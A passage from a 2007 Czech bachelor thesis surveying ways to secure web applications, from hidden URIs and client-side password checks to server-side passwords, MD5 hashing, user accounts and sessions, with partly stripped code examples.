Vysoká škola ekonomická v Praze Fakulta informatiky a statistiky Katedra informačních technologií
Student
:
Ladislav Pelcl
Vedoucí bakalářské práce
:
Ing. Daniel Rydzi
Recenzent bakalářské práce
:
Ing. Petr Kachlík
TÉMA BAKALÁŘSKÉ PRÁCE
Zabezpečení webových aplikací
ROK : 2007
Prohlášení
Prohlašuji, že jsem bakalářskou práci zpracoval samostatně a že jsem uvedl všechny použité prameny a literaturu, ze kterých jsem čerpal.
V Praze dne 17. 1. 2007
Ladislav Pelcl
Abstrakt Bakalářská práce se zabývá v současnosti často diskutovaným tématem zabezpečení webových aplikací. S rostoucí dostupností připojení k Internetu se zvyšuje využití a nasazení těchto aplikací – a s tím také počet lidí řešících problém jejich zabezpečení. Cílem této práce je poskytnout těmto lidem základní znalosti o možných způsobech zabezpečení webových aplikací. Pro správnou volbu je tento základní přehled nezbytností, jelikož požadovaná úroveň bezpečnosti se aplikace od aplikace výrazně liší. Po představení tématu začíná práce představováním různých metod zabezpečení webových aplikací, počínaje velmi jednoduchými metodami, u kterých je použití slova „zabezpečení“ ještě diskutabilní. Po popisu základních možností na straně klienta se posouváme k zabezpečení na straně serveru. Nechybí zmínka o možnostech kombinace obojího, další text se však zabývá komplikovanějšími serverovými řešeními s větším počtem uživatelů využívající aplikaci opakovaně. Zabezpečení dostačující i pro aplikace největší důležitosti nacházíme až ke konci přehledu s jednorázovými hesly a transparentním šifrováním. Zvláštní možnosti v prostředí intranetu spolu s popisem častých nebezpečných chyb programátorů aplikací práci uzavírají. Bakalářská práce se snaží poskytnout lidem zabývajícím se zabezpečením webových aplikací ucelený přehled možností, jak zabezpečení realizovat – včetně předností a nedostatků jednotlivých metod.
Abstract Bachelor thesis focuses on currently frequently discussed topic of securing a web-based application. With the increasing availability of broad-band internet connection, web-based applications are getting very popular and the number of people responsible for securing these applications is growing consecutively. The aim of the thesis is to provide these people with basic knowledge of various methods used for securing the content on the web. In order to choose the best fitting security solution for an application it is more than useful to be acknowledged with an overview like this because the required level of security considerably differs with respect to the type of application. After introducing the topic to the reader the thesis starts with describing various methods of securing the web-based applications – beginning with very simple methods by which it is quite disputable to use the word “security”. Having dealt with basic ways of securing the web-based application on the client-side, the thesis moves on towards the server-side scripts. Further it displays how client-side scripts can help eliminate the setbacks of server-side solutions; it describes more complicated methods of managing multiple users repeatedly on their way through the application. The state-of-the-art solution for mission critical applications emerges at the end of the overview with one-time passwords and transparent encrypting. Special options available in the intranet environment are presented then after, followed by a brief description of the common dangerous pitfalls of application programmers. The bachelor thesis could make it easier for the people responsible for security of a webbased application to become aware of a broad variety of possible solutions. It informs about qualities and limitations of these solutions as well.
Obsah 1.
Úvod ...................................................................................................................... 6 1.1.
2.
3.
4.
5.
Ujasnění pojmů ............................................................................................... 6
Vybrané způsoby zabezpečení................................................................................... 7 2.1.
Utajení URI ..................................................................................................... 7
2.2.
Otázka v JavaScriptu v kombinaci s utajeným URI .............................................. 8
2.3.
JavaScript kontrolující zadané heslo................................................................... 9
2.4.
Flash nebo Java applet kontrolující heslo.......................................................... 10
2.5.
Zabezpečení heslem ověřovaným na straně serveru .......................................... 10
2.6.
Zabezpečení šifrovaným heslem ověřovaným na straně serveru ......................... 12
2.7.
Zabezpečení na straně serveru s více uživateli .................................................. 13
2.8.
Opakované ověření uživatele – sessions........................................................... 16
2.9.
Zabezpečení na úrovni webového serveru ........................................................ 19
2.10.
Další pokročilé formy zabezpečení ................................................................... 20
Transparentní šifrování........................................................................................... 22 3.1.
Zabezpečení aplikací za pomoci šifrování.......................................................... 22
3.2.
Fungování TLS............................................................................................... 22
3.3.
Shrnutí a využití............................................................................................. 23
Zabezpečení intranetových aplikací.......................................................................... 24 4.1.
Specifické možnosti intranetu.......................................................................... 24
4.2.
Přístup do aplikace z konkrétních počítačů........................................................ 24
4.3.
Přizpůsobení programového vybavení počítačů v organizaci ............................... 24
4.4.
Využití přihlašování uživatelů do lokální sítě organizace ..................................... 24
Časté a nebezpečné chyby...................................................................................... 25 5.1.
Kontrola obsahu proměnných.......................................................................... 25
5.2.
SQL injection ................................................................................................. 26
5.3.
Cross-site scripting......................................................................................... 27
5.4.
Umístění konfiguračních souborů..................................................................... 27
6.
Závěr.................................................................................................................... 28
7.
Seznam použité literatury ....................................................................................... 29
8.
Terminologický slovník ........................................................................................... 30
1. Úvod Zabezpečení webových aplikací je potřeba, se kterou se setkává stále více lidí. Cenově dostupnější jsou jak služby související s provozováním webových prezentací, tak i možnosti připojení k Internetu. Na potřebu zabezpečení tak narážejí další a další jednotlivci a firmy, budující či rozšiřující své webové prezentace či aplikace. Ve své praxi jsem se setkal s dlouhou řadou možností, jak omezit přístup k webové aplikaci, všechny však mají nějaká úskalí. Rozhodl jsem se tyto možnosti spolu s jejich silnými i slabými stránkami a specifiky zmapovat tak, abych usnadnil rozhodování o volbě vhodného způsobu zabezpečení těm, kteří před tímto úkolem z nějakého důvodu stojí. Vybrané způsoby zabezpečení jsou seřazeny podle jejich účinnosti a náročnosti, začínaje těmi, u kterých je použití slova „zabezpečení“ ještě diskutabilní, a konče způsoby používanými tam, kde je zabezpečení nejdůležitější prioritou. Dále se věnuje zvláštní situaci, zabezpečení intranetové aplikace. Výsledkem mého snažení by měl být přehled užitečný těm, kdo řeší zabezpečení webových aplikací. Přehled nemá snahu být přehledem úplným, snaží se spíše popsat způsoby používané v různých situacích. Jedno z nejdůležitějších pravidel zabezpečení praví, že zabezpečení systému je tak silné, jako jeho nejslabší článek. U velmi důležitých webových aplikací se tak zabezpečení stává natolik komplexní záležitostí, že se už zdaleka nejedná jen o zabezpečení samotné aplikace a dostává se tak daleko mimo vymezené téma, proto se spokojím jen s nástinem problematiky. V důsledku pravidla o nejslabším článku také odmítám veškerou odpovědnost za možné škody způsobené aplikací níže uvedeného.
1.1.
Ujasnění pojmů
Za webovou aplikaci budeme pro účely tohoto textu považovat informace umístěné na serveru v Internetu, které může uživatel získávat, měnit je či s nimi dále pracovat prostřednictvím internetového prohlížeče. To zahrnuje jak jednoduchou statickou webovou stránku s řádkem textu, tak diskusní fórum či elektronické bankovnictví. Terminologický slovník ČSSI [1] zná podobnou definici pro termín „internetová aplikace“: Druh aplikace, jejíž uživatelské rozhraní je zobrazováno prohlížečem.1
Zabezpečením takovéto aplikace budeme rozumět omezení přístupu k aplikaci na cílovou skupinu uživatelů. Pro zjednodušení budeme osobu nebo osoby narušující zabezpečení aplikace, tedy získání přístupu k ní, ačkoliv nejsou cílovou skupinou, nazývat „vetřelci.“
6
2. Vybrané způsoby zabezpečení 2.1.
Utajení URI
Popis Jako první způsob zabezpečení jsem zvolil ten zřejmě nejjednodušší. Pro umístění webové aplikace je třeba zvolit, jak bude uživatelům Internetu dostupná. K navigaci na Internetu se využívají URI (z anglického Uniform Resource Identifier – unikátní identifikátor internetového zdroje), které všichni známe jako internetové adresy, např. http://www.firma.cz/. Konkrétní stránky či aplikace pak mívají URI např. http://www.firma.cz/stranka.html či http://www.firma.cz/aplikace/. Části URI jsou popsány v RFC 3986 [2], nás zajímá protokol HTTP2. U protokolu HTTP můžeme zvolit doménu (či další subdomény), port serveru, cestu k dokumentu či aplikaci, případně parametr předávaný aplikaci. Reálně si tedy můžeme zaregistrovat doménu dle naší volby, můžeme spustit webový server3 se subdoménou dle naší volby, můžeme webový server spustit na dalším portu, můžeme si vybrat jméno pro soubor s aplikací a umístit ho do adresářové struktury. Vznikne nám URI naší aplikace, které chceme zabezpečit. Dokud zvolené URI nezadáme do internetových katalogů – serverů, které se snaží katalogizovat obsah Internetu, neumístíme na něj odkaz na jinou veřejnou stránku, známou internetovým vyhledávačům, a URI zveřejníme jen cílové skupině uživatelů, existuje slušná pravděpodobnost, že se k aplikaci nedostane nikdo nepovolaný. Neprovádí se žádné ověření totožnosti uživatelů, není ani možné rozlišit je – kdokoliv zná URI, získává přístup k aplikaci. Přednosti Ve své nejjednodušší formě je tento způsob zabezpečení použitelný velice snadno – stačí při nahrávání aplikace na webový server zvolit jméno souboru. Vzhledem k absenci dalších ověřovacích mechanismů zde neexistují žádné bariéry, které by znepřístupňovaly aplikaci uživatelům, jejich prohlížeče nepodporují konkrétní technologie. Stačí znát adresu aplikace a zadat ji do jakéhokoliv prohlížeče. Nedostatky a hrozby Nedostatky této metody jsou spojeny zejména s tím, že se nepodaří aplikaci udržet zabezpečenou jen pro cílovou skupinu z některého z těchto důvodů: 1. uživatelé z cílové skupiny nedokáží uchovat URI v tajnosti: a. na společně užívaných počítačích vetřelec najde URI v historii prohlížeče b. uživatelé zveřejní URI úmyslně (ať již vědí či nevědí, co dělají – např. rozesláním emailem, umístěním odkazu na veřejné stránky) 2. vetřelec uhodne URI 3. vinou špatné konfigurace webového serveru je vypisován obsah adresářů a je možné se tak dostat až přímo k aplikaci 4. vetřelec najde URI zaznamenané v log souboru4 webového serveru nebo jiného síťového zařízení na trase od uživatele k aplikaci, ke kterému má přístup
7
Vhodné aplikace Z výčtu nedostatků je patrné, že riziko narušení zabezpečení aplikace je poměrně velké, navíc poroste s velikostí cílové skupiny. Zde platí pravidlo nejslabšího článku i v sociálním smyslu – stačí jediný uživatel, který URI zveřejní. Tento způsob zabezpečení či spíše utajení je proto vhodný pro aplikace, jejichž bezpečnost není příliš důležitá – řekli bychom „Nemusí o tom nikdo vědět.“ ale pokud se o tom dozví, žádná větší škoda nám nevznikne. Pojem „větší škoda“ je pochopitelně relativní a i v dalším textu je třeba vždy individuálně zvážit, je-li zvolená metoda zabezpečení přiměřená možným škodám. Příklady aplikací či situací, kde si lze představit použití této metody: • soukromější část osobních stránek, obsahující kontaktní údaje, určená blízkým přátelům • fotoalbum přátel či rodiny • vývojová testovací verze webové aplikace
2.2.
Otázka v JavaScriptu v kombinaci s utajeným URI
Popis Tento způsob je jednoduchým rozšířením metody předchozí. Na veřejné stránce umístíme odkaz, na který uživatel klikne a za použití JavaScriptu5 se mu zobrazí výzva s otázkou a místem pro zadání odpovědi. Uživatel zadá odpověď a skript ho přesměruje na URI, jehož součástí je i řetězec zadaný jako odpověď. Příklad <script language="Javascript" type="text/javascript">
zabezpečená stránka Zobrazený příklad po kliknutí uživatele na odkaz zobrazí otázku na jméno řeky protékající hlavním městem České republiky. Bez ohledu na zadanou odpověď pak přesměruje uživatele na URI, skládající se z http://www.example.com/, dále zadané odpovědi a nakonec .html. Zadá-li tedy uživatel správnou odpověď „Vltava“, JavaScript ho přesměruje na adresu http://www.example.com/Vltava.html (kde najde zabezpečené informace). Přednosti Výhod tohoto řešení oproti prostému utajení (2.1) může být několik: 1. existence veřejné „vstupní brány“ 2. možnost návodné otázky – při její vhodné volbě lze tento způsob použít i u značně neurčitých cílových skupin, postačuje-li nám jako její definice „ti, kdo znají odpověď na naši otázku“ – 8
např. otázka v příkladu omezí přístup na alespoň minimálně vzdělané Čechy, Slováky (včetně těch v zahraničí) a navíc česky rozumějící cizince se základními znalostmi o ČR a cizince schopné si text přeložit a zjistit odpověď na otázku 3. možnost použití složitého hesla, které nesouvisí s otázkou – zvolíme-li jako otázku „Zadejte heslo:“ a jako odpověď řetězec „2D5e$d_d8eP“, pravděpodobně jej neuhodne nikdo, komu heslo předem nesdělíme 4. bez znalosti odpovědi vetřelec nezjistí cílové URI, pomineme-li hádání a další prostředky zmíněné u 2.1 5. řešení lze použít snadno na kterémkoliv webovém serveru, jelikož se jedná o skript na straně klienta (client-side skript6), nevyžadující žádnou specifickou konfiguraci serveru Nedostatky a hrozby Nedostatky tohoto řešení jsou obdobné jako u 2.1 s jednou významnou navíc: 1. uživatelé nedokáží udržet v tajnosti cílové URI nebo heslo a zveřejní je 2. vetřelec uhodne heslo a tím i URI 3. vinou špatné konfigurace webového serveru, obsluhujícím cílové URI, je vypisován obsah adresářů a je možné se tak dostat až přímo k aplikaci 4. vetřelec najde URI zaznamenané v log souboru 5. řešení vyžaduje prohlížeč s podporou JavaScriptu – existují prohlížeče JavaScript vůbec nepodporující (lynx, links) a také uživatelé, kteří z bezpečnostních důvodů JavaScript vypínají 6. odpověď – heslo je třeba volit tak, aby bylo použitelné v URI nebo zajistit jeho zakódování Vhodné aplikace I v tomto případě je třeba zvážit důležitost utajovaných informací, protože nevýhod spojených s prozrazením cílového URI je stále stejně. Navíc použití JavaScriptu z možnosti nasazení vyřazuje ty aplikace, které musí či chtějí být maximálně přístupné všem. Možná nasazení tedy budou přibližně stejná jako u 2.1.
2.3.
JavaScript kontrolující zadané heslo
Popis I toto řešení je modifikací předešlého. Uživatel je na veřejné stránce vyzván k zadání hesla do pole formuláře, po kliknutí na tlačítko JavaScript vyhodnotí, zda je zadané heslo správné a pokud ano, přesměruje uživatele na cílovou stránku. Může také zareagovat nějakým způsobem na špatně zadané heslo. Příklad <script language="Javascript" type="text/javascript">
Zadá-li uživatel v příkladu řetězec „spravneheslo“, bude přesměrován na cílové URI http://www.example.com/zabezpecena-stranka.html. Z příkladu je patrné, že jak správné heslo, tak cílové URI je ve zdrojovém kódu viditelné. Tomu lze do nějaké míry zabránit a zjištění hesla a zejména URI zkomplikovat, ale není možné tomu zcela zabránit (zejména u URI; místo hesla by bylo možné použít hash hodnotu (otisk), získaný například pomocí funkce MD57). Přednosti Řešení má jen některé z předností 2.2: existence veřejné „vstupní brány“, možnost návodné otázky či složitého hesla, snadné nasazení na webových serverech. Za výhodu by bylo možné považovat to, že jako heslo můžeme použít vcelku jakýkoliv řetězec, jelikož ho neomezuje použití v URI. Nedostatky a hrozby Řešení má všechny nedostatky 2.2 kromě toho posledního, jak již bylo uvedeno ve přednostech. Navíc má další podstatnou nevýhodu, již zmíněnou: vetřelec si může jak heslo, tak cílové URI přečíst ve zdrojovém kódu či je z něj při vynaložení určitého úsilí získat. Vhodné aplikace Nedostatky toto řešení dosti diskvalifikují od jakéhokoliv seriózního nasazení. Překonat je ho schopný kdokoliv, kdo se umí trochu orientovat ve zdrojovém kódu a JavaScriptu; na rozdíl od předchozích dvou řešení zde není překonání zabezpečení otázkou náhody. Je proto třeba počítat s tím, že tímto způsobem nezúžíme skupinu všech, kteří si naši stránku zobrazí, na naši cílovou skupinu, ale spolu s ní i mnoho dalších lidí, kteří na stránku narazí.
2.4.
Flash nebo Java applet kontrolující heslo
Poznámka Úskalím podobným minulému řešení se nevyhneme ani tehdy, zvolíme-li místo JavaScriptu Flash8 či Javu9. U obojího se lze dostat až ke zdrojovému kódu a následně tedy zjistit buďto přímo hesla a URI nebo způsob jejich ověření. To už pochopitelně může být složitější a může vyžadovat např. znalost základů programování v Javě, ale pro většinu nasazení to stále není dostačující. Nevyhovuje-li se nám řešení 2.1 nebo 2.2, zapojením client-side skriptů si nepomůžeme, protože jejich fungování lze zjistit – i když často obtížně – a zabezpečení překonat. Přejdeme proto k server-side skriptům10.
2.5.
Zabezpečení heslem ověřovaným na straně serveru
Popis Skripty na straně serveru mají významnou výhodu v tom, že se jejich zdrojový kód nedostává během fungování aplikace k uživatelům a tedy ani vetřelci nemají možnost najít v nich informace, které by jim umožnily prolomit zabezpečení – neuděláme-li nějakou chybu. Nejjednodušší řešení zabezpečení heslem, které je ověřované na straně serveru, může fungovat například takto: uživatel zadá heslo do políčka formuláře na veřejně přístupné stránce a formulář odešle kliknutím na tlačítko. Webový server informace přijme a předá je skriptům na straně serveru, které heslo vyhodnotí a nechají webový server odeslat odpovídající informace o výsledku. 10
Příklad
Kód uvedený v příkladu nabídne uživateli políčko pro zadání hesla, to se odešle metodou POST11 zpět na webový server. Ten předá překladači PHP12 jméno skriptu a parametr s názvem „heslo“ – PHP provede jednoduché vyhodnocení, zda se zadaný text rovná řetězci „tajneheslo“ a pokud ano, zobrazí tajné informace, reprezentované textem „Tajna informace“. Kód PHP, uzavřený mezi značkami , se do prohlížeče uživatele nikdy nedostane. Přednosti Oproti předešlým řešením zde najdeme několik výhod: 1. malé nároky na vybavení uživatelů – použité řešení nevyžaduje od uživatelů žádné nadstandardní technologie jako JavaScript, Flash atd. 2. přečtením zdrojového kódu, který se dostane k uživateli, není možné odhalit heslo 3. jde o řešení veřejné s možnostmi zadat návodné otázky a zvolit libovolně složité heslo Nedostatky a hrozby Některých nedostatků jsme se zbavili, stále tu však některé zůstávají. 1. uživatelé nedokáží udržet v tajnosti heslo 2. vetřelec uhodne heslo 3. vetřelec najde URI zaznamenané v log souboru (zejména při použití metody GET13), jelikož zadaná hesla se zasílají nešifrovaná přes Internet 4. řešení vyžaduje možnost použití skriptovacího jazyka na straně serveru Vhodné aplikace Řešení pracující na straně serveru nás významně posouvají směrem k aplikacím, pro které je zabezpečení věcí nezbytnou. Tímto způsobem si můžeme dovolit spolehlivě zabezpečit: • seznamy kontaktů a e-mailů • sekce pro správce malých webů • důvěrné informace určené malé cílové skupině • soukromá malá diskusní fóra
11
2.6.
Zabezpečení šifrovaným heslem ověřovaným na straně serveru
Popis Abychom eliminovali poměrně důležitou slabinu řešení 2.5, potřebujeme odesílat heslo od uživatele k serveru zašifrované. Spokojíme-li se s hashovací funkcí MD5, můžeme toho dosáhnout zapojením JavaScriptu. Nestačí nám však vytvořit MD5 hash samotného hesla, neboť by bylo možné odposlechnout hash a přihlásit se s jeho pomocí. Potřebujeme vytvořit cosi na způsob one-time password14, aby bylo možné se s tímto hashem přihlásit jen jednou. Příklad <script type="text/javascript" src="./md5.js"> <script type="text/javascript"> " + calcMD5(formular.nesifrovaneheslo.value)); formular.nesifrovaneheslo.value = ""; formular.casvygenerovani.value = ""; return true; } --> ($_REQUEST[casvygenerovani]+600)) echo "Od vygenerovani prihlasovaci stranky uplynulo prilis dlouho casu, prihlaste se znovu."; elseif ((MD5( MD5($_REQUEST[casvygenerovani].$HTTP_USER_AGENT."doplnkovyretezec").MD5("ta jneheslo"))!=$_REQUEST[zasifrovaneheslo]) && ($_REQUEST[nesifrovaneheslo]!="tajneheslo")) echo "Zadali jste nespravne heslo."; else echo "Tajna informace"; ?>
Co přesně se děje v příkladu? Při odeslání formuláře JavaScriptová funkce nejprve vytvoří MD5 hash z nešifrovaného hesla a pak spolu s MD5 hashem vygenerovaným předem v PHP vytvoří další společný MD5 hash, který uloží do skrytého formulářového pole s názvem „zasifrovaneheslo“. Předpřipravený MD5 hash vznikl z času vygenerování stránky, názvu prohlížeče uživatele a nějakého dalšího řetězce – jednotlivé části ani jejich pořadí nejsou uživateli známy. JavaScript dále smaže heslo
12
v poli formuláře „nesifrovaneheslo“ (aby se nakonec přece jen neodeslalo nezašifrovaně), do proměnné čas vygenerování vloží hodnotu nastavenou v PHP a formulář odešle. PHP na straně serveru nejprve zkontroluje, zda od vygenerování formuláře neuplynulo příliš mnoho času (zde 6 minut). Pokud ne, sestaví si samo onen společný MD5 hash – čas vygenerování mu byl zaslán v proměnné, název prohlížeče také, doplňkový řetězec zná a heslo také. Porovná hash s hashem zaslaným v „zasifrovaneheslo“ a pokud se neshodují, vypíše chybu. Aby uživatelé bez podpory JavaScriptu měli možnost se také přihlásit, i když nezašifrovaně, skript navíc ověřuje ještě shodu hesla s proměnnou „nezasifrovaneheslo“ (pokud JavaScript nefunguje, obsah proměnné se při odesílání logicky nesmaže). Pokud se uživateli podaří nešifrovaně či zašifrovaně přihlásit, zobrazí se mu tajná informace. Poznámka Pro výpočet MD5 hashe pomocí JavaScriptu lze použít např. implementaci Paula Johnstona, dostupnou na http://pajhome.org.uk/. Přednosti Oproti řešení 2.5 nám přibývá výhoda přenosu hesla v šifrované podobě a to ještě jen krátkodobě využitelného – vetřelec má tedy výrazně sníženou šanci dostat se k informacím i v případě, že odposlechne přenesená data. Nedostatky a hrozby Pro realizaci vlastního šifrování je použit JavaScript, což má ale jen ten dopad, že u uživatelů nepodporujících JavaScript se řešení degraduje na úroveň řešení 2.5. Ostatní nedostatky zůstávají v platnosti. Vhodné aplikace Tímto způsobem můžeme zřejmě nejbezpečněji zabezpečit všechny aplikace, kde si ještě vystačíme s jediným heslem.
2.7.
Zabezpečení na straně serveru s více uživateli
Popis Při rozdělení aplikací na škále od jednoduchých po ty nejsložitější si můžeme povšimnout, že v určitém okamžiku začínají používat tzv. uživatelské účty. Lze pro to najít řadu důvodů: • usnadnění používání webu pro uživatele personalizací – uživatelé diskusního fóra nemusejí vždy znovu vyplňovat své jméno u příspěvků, obchodní partneři své kontaktní údaje do objednávek • identifikace uživatelů – uživatelské jméno bývá přidělováno individuálním subjektům – tedy lidem, firmám – a lze tak zjistit, kdo právě aplikaci využívá či kdo si přečetl poslední zprávu • řízení přístupu k jednotlivým částem aplikace a uloženým datům – můžeme určitým uživatelům či skupinám uživatelů zabránit v přístupu ke vkládání příspěvků do redakčního systému, ke čtení cizích příspěvků či jejich editaci – naopak můžeme umožnit editaci příspěvků např. jen autorovi • kontrola přístupu k aplikaci – můžeme zaznamenávat, kdy který uživatel provedl jakou akci v aplikaci • zmírnění a omezení dopadů narušení bezpečnosti – jsou-li prozrazeny přístupové informace jednoho uživatelského účtu, nemusí mít vetřelec dostatečná oprávnění ke zjištění všech informací či provedení škodlivých změn
13
Při realizaci zabezpečení s použitím uživatelských účtů můžeme pracovat s přístupovými údaji uživatelů několika způsoby: • uživatelská jména a hesla jsou uložena přímo ve skriptu – nevýhodou je nutnost zásahu do programového kódu při každém přidání uživatele, proto je vhodné jen pro velmi malý počet uživatelů v řádu jednotek • uživatelská jména a hesla jsou uložena v nezávislém souboru na disku serveru – práce se soubory z hlediska programování není příliš elegantní a neumožňuje snadno na uživatelské účty navázat další informace, proto je použitelnost i tohoto způsobu omezená; při velkém počtu uživatelů (více než stovky) je práce se souborem časově náročná • uživatelská jména a hesla jsou uložena v databázi15 – výhodou je snadná možnost manipulace s daty a možnost navázání dalších informací – uživatelských nastavení aj. Dále se proto budeme zabývat poslední možností, konkrétně na příkladu databáze relační. Pro definici a manipulaci s daty v relačních databázích slouží jazyk SQL16. S jeho pomocí můžeme nejjednodušším způsobem zaznamenat uživatelská data do takovéto tabulky: Příklad CREATE TABLE uzivatele ( jmeno VARCHAR(25) PRIMARY KEY, heslo VARCHAR(32)) Takto jsem si připravili tabulku, do které budeme vkládat informace o uživatelích – vždy uživatelské jméno jako „jmeno“ a heslo jako „heslo“ – zároveň máme zajištěno, že uživatelské jméno bude v tabulce uloženo vždy jen unikátní, protože nám databázový server – SŘBD17 – nedovolí vložit tam dvakrát stejné jméno. Pro uživatelská jména platí „dobrý zvyk“ omezovat znaky, ze kterých se skládají – to týká často diakritiky, velkých písmen, mezer. Uživatelé mají sklon zapomínat, které písmeno mají napsat velké či kolik mezer kde původně měli. Diakritika také nemusí být kompatibilní s dalšími systémy, které mohou být na webovou aplikaci napojeny – například uživatelská jména v e-mailových adresách. Zatímco uživatelské jméno je věcí, kterou sice není radno nikde příliš vystavovat (jelikož to usnadňuje brute-force18 útoky pro jednotlivá uživatelská jména), u hesel je zabezpečení naprosto prioritní záležitostí. Z hlediska uložení dat proto raději místo hesel samotných ukládáme jejich hash, například MD57. V případě narušení bezpečnosti serveru s databází tak nejsou vetřelci prozrazena vlastní hesla uživatelů a neusnadníme tím tedy vetřelci útoky na další aplikace, kde mohou mít uživatelé použita stejná hesla – znemožníme mu také se do aplikace přihlásit a v časové tísni tak nemusí stihnout zjistit všechny chráněné informace. Uložení hesel šifrovaně má jeden další efekt – uživatelům ani správce systému není schopen sdělit heslo v případě, že ho zapomenou. Může jim však vždy nastavit heslo nové. Rozšířenou praxí správců počítačových systémů a potažmo i webových aplikací bývají další požadavky na hesla, či alespoň doporučení (další viz [4]): • složitost hesla a minimální délka – při brute-force útocích18 je možné krátká hesla či hesla složená jen z písmen anglické abecedy „uhodnout“ za výrazně kratší dobu, délka hesla a další znaky (číslice a další znaky, které nejsou součástí abecedy) uhodnutí významně komplikují • pravidelná změna hesla – původně zřejmě zavedená kvůli času potřebnému na uhodnutí hesla, dnes po třiceti letech působí spíše kontraproduktivně a znesnadňuje uživatelům zapamatování hesla
14
Pro přihlášení uživatele k aplikaci budeme potřebovat stránku s formulářem pro zadání uživatelského jména a hesla. Po odeslání zkusíme vyhledat v databázi řádek, u kterého se shoduje uživatelské jméno a heslo s těmi zadanými řetězci (respektive MD5 hashem hesla). Najdeme-li takový řádek, uživateli je umožněn přístup k aplikaci. Příklad
Pro názornost zde není použité šifrování hesla do MD5 hashe JavaScriptem na straně uživatele z 2.6, ačkoliv to je samozřejmě možné a doporučené. Pro příklad je použito opět PHP, tentokrát v kombinaci s databázovým systémem PostgreSQL. V kódu si lze všimnout připojení k databázovému systému. Přednosti Jak již vyplývá z úvodního popisu, tato metoda má kromě předností řešení 2.6 ještě několik dalších významných kladů: 1. přístupová jména a hesla nejsou obsažena ani ve zdrojovém kódu aplikace 2. heslo je v databázi uloženo šifrovaně 3. uživatelské účty poskytují další možnost rozvoje aplikace (velká množství identifikovatelných uživatelů) a také snižují rizika v případě porušení bezpečnosti Nedostatky a hrozby Ani zde se nevyhneme určitým nedostatkům: 1. hrozba získání hesla vetřelcem, byť je snížená a její důsledky jsou omezené, tu vždy je 2. náročnost tohoto řešení na konfiguraci serveru jsou opět větší, vyžadují databázový systém 3. při nedůsledné kontrole obsahu proměnných může hrozit tzv. SQL injection, viz 5.2 Pro úplnost dodejme, že jak databázový systém, tak webový server je třeba také zabezpečit proti přístupu neoprávněných osob, jinak budou představovat zásadní nejslabší článek našeho řetězu.
15
Vhodné aplikace Tímto způsobem si můžeme troufnout i na rozsáhlé aplikace s tisíci a více uživateli, pochopitelně s odpovídající optimalizací a výkonem, více viz aplikace u 2.8. Poznámka – hashování Hash je jakýmsi otiskem původních dat, například zprávy či hesla. Hashovací funkce fungují tak, že ze vstupního řetězce vytvoří definovaným algoritmem jiný řetězec s pevnou délkou – ten je vytvořen vždy stejný. Pokud se vstupní řetězec změní, změní se i výsledný otisk. Díky tomu lze tyto funkce využít ke kontrole integrity dat či porovnávání dvojice hesel. Vzhledem k pevné délce otisku existují také tzv. kolize, tedy situace, kdy pro dva různé vstupní řetězce získáme stejný otisk, což je nežádoucí. Kryptografických hashovacích funkcí existuje řada, jednou z nejznámějších je již zmíněná MD57. Její bezpečnost se od jejího uvedení v roce 1991 podstatně snížila, kolize lze různými algoritmy nalézt až v řádu minut [11]. To však neznamená, že lze takto rychle odhalit původní řetězec – což by bylo přesně to, o co by vetřelec usiloval, získal-li by přístup k naší databázi hesel. Z funkcí, u kterých útočné algoritmy zatím nebyly tolik úspěšné, lze jmenovat například SHA-1 či SHA-2 (zkratka anglického Secure Hash Algorithm), jejichž použití je v PHP také možné.
2.8.
Opakované ověření uživatele – sessions
Popis Dosud uvedená řešení příliš neřešila situaci, kdy potřebujeme uživateli umožnit přístup k aplikaci či jejím částem opakovně. To je přitom velmi častý případ, zejména u složitějších a rozsáhlejších aplikací – ať jde o diskusní fóra, redakční systémy či bankovní aplikace. Bylo by nepříjemné zatěžovat uživatele po vstupu na každou další stránku výzvou k zadání jeho uživatelského jména a hesla, bylo by proto vhodné zužitkovat informace, které o uživateli zjistíme při prvním přihlášení, i během jeho dalšího pohybu po aplikaci. V tuto chvíli, kdy jsme resignovali na řešení využívající utajení URI a přistoupili na řešení využívající přihlášení uživatele, nutně potřebujeme, aby aplikace mohla již přihlášeného uživatele rozpoznat. Toho lze nejsnáze dosáhnout použitím identifikátoru přihlášení – svým způsobem one-time password14 – které bude předáváno z každé části aplikace dále. Jelikož identifikátor přihlášení by bylo možno také odposlechnout, je vhodné doplnit jeho použití následujícími prvky: •
kontrola IP adresy, ze které je uživatel připojen – přihlásí-li se uživatel z nějaké IP adresy, lze předpokládat, že se tato nezmění během jeho práce (naopak v případě útoku vetřelce by tento přistupoval pravděpodobně z jiné IP adresy).
•
omezený čas neaktivity uživatele – pokud uživatel nepodniknul po stanovenou dobu žádnou akci v aplikaci, existuje riziko, že aplikaci opustil bez odhlášení – tedy že k počítači se spuštěnou aplikací může přijít vetřelec a zneužít uživatelův účet. Je tedy vhodné po nějaké době neaktivity uživatele odhlásit.
•
kontrola prohlížeče uživatele – mezi další neměnné informace v rámci jednoho připojení lze započítat i použitý prohlížeč. Změní-li se prohlížeč, můžeme usuzovat na útok vetřelce a tedy uživatele odhlásit. Nejde samozřejmě o žádnou formu ochrany, která by byla dostačující samostatně – za prvé nelze vyloučit použití stejného prohlížeče i na straně vetřelce a za druhé není technicky žádný problém identifikaci prohlížeče podvrhnout.
•
kontrola stránky, ze které uživatel přišel – při pohybu v aplikaci zasílá prohlížeč také informaci o URI, ze kterého uživatel přišel. Pokud tato informace schází, je možné preventivně uživatele také odhlásit – i zde ale platí, že tuto informaci lze snadno
16
podvrhnout a proto jde spíše o ztížení, které může zamezit v přístupu méně zdatné vetřelce. Pro opakované ověřování budeme potřebovat ukládat o uživatelích více informací do databáze, postačit nám může například takováto tabulka: Příklad CREATE TABLE uzivatele ( jmeno VARCHAR(25) PRIMARY KEY, heslo VARCHAR(32), sessionid VARCHAR(32), poslednipristup INTEGER, ipadresa VARCHAR(15)) Přibyl nám identifikátor připojení – sessionid (pro jedno připojení jednoho uživatele se používá často anglický termín „session,“ česky překládané také jako „sezení“), dále čas posledního přístupu a IP adresa použitá při přihlášení. Na kontrolu prohlížeče a předchozí stránky vzhledem možnosti snadného podvrhu resignujeme. Proces přihlášení by mohl vypadat takto: Příklad
odkaz na dalsi stranku aplikace\n"; } ?>
Po vyplnění a odeslání formuláře se skript připojí k databázi, kde ověří jméno a heslo uživatele. V případě úspěchu se vygeneruje náhodné sessionid, které se uloží do databáze spolu s aktuálním časem a IP adresou, ze které se uživatel přihlásil. Od této chvíle můžeme ověřovat
17
